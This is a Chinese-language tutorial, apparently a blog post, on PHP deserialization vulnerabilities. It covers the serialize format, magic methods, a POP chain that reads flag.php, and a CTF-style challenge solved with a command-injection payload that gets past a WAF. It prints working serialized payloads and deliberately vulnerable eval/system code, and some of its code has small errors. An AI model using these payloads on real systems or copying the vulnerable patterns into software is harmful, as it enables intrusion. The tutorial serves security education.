2020-05-07
4.2k
PHP反序列化漏洞学习——基础篇
0x01 什么是序列化和反序列化
php的序列化
PHP 的所谓的序列化也是一个将各种类型的数据,压缩并按照一定格式存储的过程,他所使用的函数是serialize() ,我们来看下面的实例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php class Person { private $name = 'test' ; protected $gender = 'male' ; public $age = 18 ; public function set_name ($name ) { $this ->name = $name; } public function get_name ( ) { return $this ->name; } } $user = new Person(); $user->set_name('ca01h' ); $data = serialize($user); echo $data;
这是一个简单的 php 类,然后我们实例化以后对其属性进行了赋值,然后调用了 serialize() 并且输出,我们看一下输出的结果:
依次解释如下:
O
代表Object对象;
6
代表类名长度是6;
Person
代表类名;
3
代表类中的属性有3个;
s:12:"<0x00>Person<0x00>name";s:5:"ca01h";
:其中s
代表String类型,12
代表属性名<0x00>Person<0x00>name
的长度,s
代表String类型,5
代表属性值的长度,"ca01h"
是属性值;
s:9:"<0x00>*<0x00>gender";s:4:"male";
:其中s
代表String类型,9
代表属性名<0x00>*<0x00>gender
的长度,s
代表String类型,4
代表属性值的长度,"male"
是属性值;
s:3:"age";i:17;
:其中s
代表String类型,3
代表属性名"age"
的长度,i
代表Integer类型,17
是属性值。
这里有两个值得注意的地方:
不同类型类属性
private属性序列化的格式:%00类名%00属性名
protect属性序列化的格式:%00*%00属性名
序列化只序列化类属性,不序列化类方法
所以在利用反序列化漏洞的时候:
我们在反序列化的时候一定要保证在当前的作用域环境下有该类存在
我们在反序列化攻击的时候也就是依托类属性进行攻击
PHP的反序列化
有序列化对象为压缩格式化的字符串,就有反序列化将压缩格式化的字符串还原,我们还是沿用上面的代码,先将序列化的内容存放在serialize.txt
里面,然后再进行反序列化,并输出属性值name
和age
的值:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php class Person { private $name = 'test' ; protected $gender = 'male' ; public $age = 18 ; public function set_name ($name ) { $this ->name = $name; } public function get_name ( ) { return $this ->name; } } $user = new Person(); $user->set_name('ca01h' ); $data = serialize($user); $data = unserialize($data); echo $data->age;echo $data->get_name();
反序列化结果:
那么稍微延申一点,如果$data
参数是用户可控的呢,比如我传入一个如下参数:
1 O:6:"Person":3:{s:12:"<0x00>Person<0x00>name";s:5:"hacker";s:9:"<0x00>*<0x00>gender";s:4:"female";s:3:"age";i:17;}
这样就人为的改变了类属性的值,由此引出PHP反序列化漏洞。
0x02 PHP反序列化漏洞
反序列化漏洞的成因在于代码中的 unserialize() 接收的参数可控,从上面的例子看,这个函数的参数是一个序列化的对象,而序列化的对象只含有对象的属性,那我们就要利用对对象属性的篡改实现最终的攻击。
魔法方法调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <?php Class User { public $name = "Bob" ; private $id = "417" ; function __construct ($name ) { $this ->name = $name; echo "this is __construct" ."</br>" ; } function __destruct ( ) { echo "this is __destruct" ."</br>" ; } function __invoke ( ) { echo "this is __invoke" ."</br>" ; } function __toString ( ) { return "this is __toString" ."</br>" ; } function __wakeup ( ) { echo "this is __wakeup" ."</br>" ; } function __sleep ( ) { echo "this is __sleep" ."</br>" ; return array ("name" ,"id" ); } function __call ($name,$args ) { echo "this is __call. name is " .$name." args is " .$args."</br>" ; } function __get ($arg ) { echo "call __get" ."</br>" ; } function __set ($name,$id ) { echo "call __set" ."</br>" ; } } $r = new User("Alice" ); $r(); echo $r;unserialize(serialize($r)); $r->print("a" ); $r->id; $r->id = 1 ;
输出顺序如下:
1 2 3 4 5 6 7 8 9 10 this is __construct this is __invoke this is __toString this is __sleep this is __wakeup this is __destruct this is __call. name is print args is Array call __get call __set this is __destruct
其中__toString()
触发方式比较多:
echo ($obj
) / print($obj
) 打印时会触发
反序列化对象与字符串连接时
反序列化对象参与格式化字符串时
反序列化对象与字符串进行比较时(PHP进行 比较的时候会转换参数类型)
反序列化对象参与格式化SQL语句,绑定参数时
反序列化对象在经过php字符串函数,如 strlen()、addslashes()时
在in_array()方法中,第一个参数是反序列化对象,第二个参数的数组中有toString返回的字符串的时候 toString会被调用
反序列化的对象作为 class_exists() 的参数的时候
魔法方法的作用
我们上面讲过,在我们的攻击中,反序列化函数 unserialize() 是我们攻击的入口,也就是说,只要这个参数可控,我们就能传入任何的已经序列化的对象(只要这个类在当前作用域存在我们就可以利用),而不是局限于出现 unserialize() 函数的类的对象,如果只能局限于当前类,那我们的攻击面也太狭小了,这个类不调用危险的方法我们就没法发起攻击。
但是我们又知道,你反序列化了其他的类对象以后我们只是控制了是属性,如果你没有在完成反序列化后的代码中调用其他类对象的方法,我们还是束手无策,毕竟代码是人家写的,人家本身就是要反序列化后调用该类的某个安全的方法,你总不能改人家的代码吧,但是没关系,因为我们有魔法方法。
魔法正如上面介绍的,魔法方法的调用是在该类序列化或者反序列化的同时自动完成的,不需要人工干预,这就非常符合我们的想法,因此只要魔法方法中出现了一些我们能利用的函数,我们就能通过反序列化中对其对象属性的操控来实现对这些函数的操控,进而达到我们发动攻击的目的。
魔法方法的简单利用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php class demo { private $test; public $name = "i am ca01h" ; function __construct ( ) { $this ->test = new L(); } function __destruct ( ) { $this ->test->action(); } } class L { function action ( ) { echo "function action() in class L" ; } } class Evil { var $test2; function action ( ) { eval ($this ->test2); } } unserialize($_GET['test' ]);
首先我们能看到unserialize()
函数的参数我们是可以控制的,也就是说我们能通过这个接口反序列化任何类的对象(但只有在当前作用域的类才对我们有用),那我们看一下当前这三个类,我们看到后面两个类反序列化以后对我们没有任何意义,因为我们根本没法调用其中的方法,但是第一个类就不一样了,虽然我们也没有什么代码能实现调用其中的方法的,但是我们发现他有一个魔法函数 __destruct()
,这就非常有趣了,因为这个函数能在对象销毁的时候自动调用,不用我们人工的干预,接下来让我们看一下怎么利用。
我们看到__destruct()
里面只用到了一个属性test
,再观察一下 那些地方调用了action()
函数,看看这个函数的调用中有没有存在执行命令或者是其他我们能利用的点的,果然在 Evil
这个类中发现他的 action()
函数调用了 eval()
,那我们的想法就很明确了,只需要将demo
这个类中的test
属性篡改为 Evil
这个类的对象,然后为了 eval
能执行命令,我们还要篡改Evil
对象的 test2
属性,将其改成要执行的命令。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php class demo { private $test; function __construct ( ) { $this ->test = new Evil(); } } class Evil { var $test2 = "phpinfo()" ; } $demo = new demo(); $data = serialize($demo); var_dump($data);
输出的payload:
1 O:4:"demo":1:{s:10:"\000demo\000test";O:4:"Evil":1:{s:5:"test2";s:9:"phpinfo()";}}
这样就完成了一个简单的PHP反序列化漏洞的利用。
通过这个简单的例子总结一下寻找 PHP 反序列化漏洞的方法或者流程
(1)寻找unserialize()
函数的参数是否有我们的可控点;
(2)寻找我们的反序列化的目标,重点寻找存在 wakeup()
或 destruct()
魔法函数的类;
(3)一层一层 地研究该类在魔法方法中使用的属性和属性调用的方法,看看是否有可控的属性能实现在当前调用的过程中触发的;
(4)找到我们要控制的属性了以后我们就将要用到的代码部分复制下来,然后构造序列化,发起攻击。
0x03 PHP反序列化POP链
POP链介绍
POP 面向属性编程(Property-Oriented Programing) 常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境 中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击者邪恶的目的
说的再具体一点就是 ROP 是通过栈溢出实现控制指令的执行流程,而我们的反序列化是通过控制对象的属性从而实现控制程序的执行流程,进而达成利用本身无害的代码进行有害操作的目的。
POP链demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 <?php error_reporting(1 ); class Read { public $var; public function file_get ($value ) { $text = base64_encode(file_get_contents($value)); return $text; } public function __invoke ( ) { $content = $this ->file_get($this ->var); echo $content; } } class Show { public $source; public $str; public function __construct ($file='index.php' ) { $this ->source = $file; echo $this ->source.'Welcome' ."<br>" ; } public function __toString ( ) { return $this ->str['str' ]->source; } public function _show ( ) { if (preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i' ,$this ->source)) { die ('hacker' ); } else { highlight_file($this ->source); } } public function __wakeup ( ) { if (preg_match("/gopher|http|file|ftp|https|dict|\.\./i" , $this ->source)) { echo "hacker" ; $this ->source = "index.php" ; } } } class Test { public $p; public function __construct ( ) { $this ->p = array (); } public function __get ($key ) { $function = $this ->p; return $function(); } } if (isset ($_GET['hello' ])){ unserialize($_GET['hello' ]); } else { $show = new Show('pop3.php' ); $show->_show(); }
寻找POP链过程:
66行代码处有unserialize()
函数,而且参数可控;
在Show
这个类中有__wakeup()
方法;
__wakeup()
方法中调用了preg_replace()
函数,如果source
属性是某一个类对象的话,会触发__toString()
方法;
在Show
这个类中有__toString()
方法;
__toSting()
方法中试图获取属性str
中key为str
的值的source
属性,如果str['str']
是某一个类对象的话,会触发__get()
方法;
在Test
这个类中有__get()
方法;
__get()
方法中,如果p
属性是某一个类对象的话,会出发__invoke()
方法;
在Read
这个类中有__invoke()
方法;
__invoke()
方法中尝试读取并打印属性var
的文件内容,为了读取flag.php
的内容,可以让var = flag.php
。
生成反序列化Payload的exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php class Read { public $var = flag.php; } class Show { public $source; public $str; } class Test { public $p; } $r = new Read(); $s = new Show(); $t = new Test(); $t->p = $r; $s->str['str' ] = $t; $s->source = $s; var_dump(serialize($s));
最后得出来的payload:
1 O:4:"Show":2:{s:6:"source";r:1;s:3:"str";a:1:{s:3:"str";O:4:"Test":1:{s:1:"p";O:4:"Read":1:{s:3:"var";s:7:"flagphp";}}}}
有关PHP反序列化的基础篇就写到这,当然肯定不止于此,接下来是进阶篇,涉及到SoapClient反序列化,PHP反序列化字符逃逸,Phar反序列化,Session反序列化,以及最后一个VulnHub靶机收尾。
0x04 一道实例
该题出处:https://www.cnblogs.com/nul1/p/9928797.html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 <?php error_reporting(0 ); class come { private $method; private $args; function __construct ($method, $args ) { $this ->method = $method; $this ->args = $args; } function __wakeup ( ) { foreach ($this ->args as $k => $v) { $this ->args[$k] = $this ->waf(trim($v)); } } function waf ($str ) { $str=preg_replace("/[<>*;|?\n ]/" ,"" ,$str); $str=str_replace('flag' ,'' ,$str); return $str; } function echos ($host ) { system("echos $host " .$host); } function __destruct ( ) { if (in_array($this ->method, array ("echos" ))) { call_user_func_array(array ($this , $this ->method), $this ->args); } } } $first='hi' ; $var='var' ; $bbb='bbb' ; $ccc='ccc' ; $i=1 ; foreach ($_GET as $key => $value) { if ($i===1 ) { $i++; $$key = $value; } else {break ;} } if ($first==="doller" ){ @parse_str($_GET['a' ]); if ($var==="give" ) { if ($bbb==="me" ) { if ($ccc==="flag" ) { echo "<br>welcome!<br>" ; [email protected] $_POST['come' ]; unserialize($come); } } else {echo "<br>think about it<br>" ;} } else { echo "NO" ; } } else { echo "Can you hack me?<br>" ; } ?>
变量覆盖漏洞
$$
1 2 3 4 5 6 7 8 foreach ($_GET as $key => $value) { if ($i===1 ) { $i++; $$key = $value; } else {break ;} }
?first=doller
绕过第一个if语句
parse_str
如果直接这样写?first=doller&a=var=give&bbb=me&ccc=flag
的话,PHP解析的是四个参数,而不是我想得到的两个参数:一个first
和一个a
。不过好在有URL编码这种东西,可以在这有歧义的时候扭转局势,我们把&
进行URL编码,这样子解析时就会认为是一个字符串了,即:
?first=doller&a=var=give%26bbb=me%26ccc=flag
反序列化漏洞
查看代码,发现到了反序列化的地方了,而反序列化的来源是通过POST提交的come参数,知道了要反序列化,接下来就是确定要反序列化的类了。这个源码就一个类come,对这个类进行审计,重点看__destruct
方法:
1 2 3 4 5 function __destruct ( ) { if (in_array($this ->method, array ("echos" ))) { call_user_func_array(array ($this , $this ->method), $this ->args); } }
call_user_func_array()
内置方法的作用是调用一个指定方法,第一个参数要调用的函数,第二个参数是一个数组,用于给调用的函数传参。但是这里的第一个参数是用一个数组array($this, $this->method)
来表示,意思就是数组的第一个元素表示是该方法所在的类,第二个元素就是方法名。而且if语句已经限定了method
参数必须是echos
。再来看看echos
这个类方法。
1 2 3 function echos ($host ) { system("echos $host " .$host); }
system()
函数可以执行系统命令,而且host
参数可控,于是判断这里存在命令注入漏洞。于是思路如下:
通过反序列化控制method和args两个成员变量
method必须是echos不然通不过if判断
通过call_user_func_array()函数第一个参数调用本类中的echos方法,第二个参数给方法传参-
由于echos方法中的system函数的参数是拼接形参的,完成命令注入。
根据顺序,先执行__wakeup
再执行__destruct
,__wakeup
中对参数有一个过滤的处理:
1 2 3 4 5 6 7 8 9 10 11 function __wakeup ( ) { foreach ($this ->args as $k => $v) { $this ->args[$k] = $this ->waf(trim($v)); } } function waf ($str ) { $str=preg_replace("/[<>*;|?\n ]/" ,"" ,$str); $str=str_replace('flag' ,'' ,$str); return $str; }
可以看到它默认将args
变量视为一个数组,对其进行了foreach
,然后又对数组中的每个元素送去了waf进行过滤。这表明我们传入的args
是一个数组。并且args
中不允许出现[<>*;|?\n ]
这些字符,以及flag
关键词。
并且echos
是一个错误的命令,所以综合以上两点,必须使用&
命令连接符。
构造反序列化类:
1 2 3 4 5 6 <?php class come { private $method = 'echos' ; private $args = array ('&cat${IFS}/flag)' ); } echo serialize(new come());
得到payload:
1 O:4:"come":2:{s:12:"%00come%00method";s:5:"echos";s:10:"%00come%00args";a:1:{i:0;s:16:"&cat${IFS}/flag)";}}
如果PHP版本大于7.0,可以直接把private属性改成public
0x05 Reference
一篇文章带你深入理解PHP反序列化漏洞
php反序列化那些事